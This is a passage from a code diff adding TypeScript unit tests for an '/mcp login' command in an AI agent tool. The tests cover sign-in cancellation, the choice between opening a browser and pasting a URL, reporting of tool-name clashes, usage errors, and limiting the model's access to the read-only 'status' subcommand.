549
+ serverId: request.serverId,
550
+ failure: 'cancelled',
551
+ preRegisteredClient: false,
552
+ tools: [],
553
+ };
554
+ },
555
+ (request) => ({ type: 'answer', values: [request.options?.at(-1)?.value ?? ''] }),
556
+ );
557
+ const result = await h.run('login files');
558
+ expect(h.asked[0]?.description).toContain(PROMPT.authorizationUrl);
559
+ expect(h.asked[0]?.options?.map((option) => option.value)).toEqual(['open', 'paste', 'cancel']);
560
+ expect(choices).toEqual(['cancel']);
561
+ // The cancel reaches the sign-in itself.
562
+ expect(signal?.aborted).toBe(true);
563
+ expect(result.success).toBe(false);
564
+ expect(h.added).toEqual([]);
565
+ });
566
+
567
+ it('opens the browser, or pastes instead, as the user chooses', async () => {
568
+ const chosen = async (value: string) => {
569
+ let choice: string | undefined;
570
+ const h = harness(
571
+ async (request) => {
572
+ choice = await request.confirmBrowser!(PROMPT, new AbortController().signal);
573
+ return signedIn(request.serverId);
574
+ },
575
+ { type: 'answer', values: [value] },
576
+ );
577
+ await h.run('login files');
578
+ return choice;
579
+ };
580
+ expect(await chosen('open')).toBe('open');
581
+ expect(await chosen('paste')).toBe('paste');
582
+ // With --no-browser there is nothing to confirm: the paste prompt shows the URL.
583
+ const h = harness(async (request) => signedIn(request.serverId), {
584
+ type: 'answer',
585
+ values: ['open'],
586
+ });
587
+ await h.run('login files --no-browser');
588
+ expect(h.requests[0]?.confirmBrowser).toBeUndefined();
589
+ });
590
+
591
+ it('reports tools left out for a name the session already has, and acknowledges the rest', async () => {
592
+ const other = new FunctionTool(
593
+ { name: 'files__list', description: 'List', parameters: { type: 'object', properties: {} } },
594
+ async () => 'ok',
595
+ );
596
+ const h = harness(
597
+ async (request) => signedIn(request.serverId, { tools: [forecast, other] }),
598
+ undefined,
599
+ (names) => names.filter((name) => name !== 'files__read'),
600
+ );
601
+ const result = await h.run('login files');
602
+ expect(result.message).toBe(
603
+ 'Signed in to MCP server files; 1 of its tools is available from your next message. ' +
604
+ '1 of its tools was left out: the session already has a tool by that name.',
605
+ );
606
+ expect(h.acknowledged).toEqual([['files', ['files__list']]]);
607
+ });
608
+
609
+ it('needs exactly one server', async () => {
610
+ const h = harness(async (request) => signedIn(request.serverId));
611
+ expect((await h.run('login')).message).toBe('Usage: /mcp login <serverId> [--no-browser]');
612
+ expect((await h.run('login a b')).success).toBe(false);
613
+ expect(h.requests).toEqual([]);
614
+ });
615
+ });
616
+
617
+ describe('/mcp command entry', () => {
618
+ it('opens only `status` to the model, and describes login for the user', () => {
619
+ const entry = createMCPActivationCommandEntry();
620
+ // Model-invocable only through its read-only `status`; every verb that changes trust or a
621
+ // credential is declared user-only (model-exposure.test.ts pins the refusal).
622
+ expect(entry.modelInvocable).toBe(true);
623
+ expect(
624
+ (entry.subcommands ?? []).filter((sub) => sub.modelInvocable === true).map((s) => s.name),
625
+ ).toEqual(['status']);
626
+ expect(entry.description).toMatch(/sign in/);
627
+ expect(entry.description).toMatch(/Returns/);
628
+ expect(entry.argumentHint).toContain('login <server> [--no-browser]');
629
+ });
630
+ });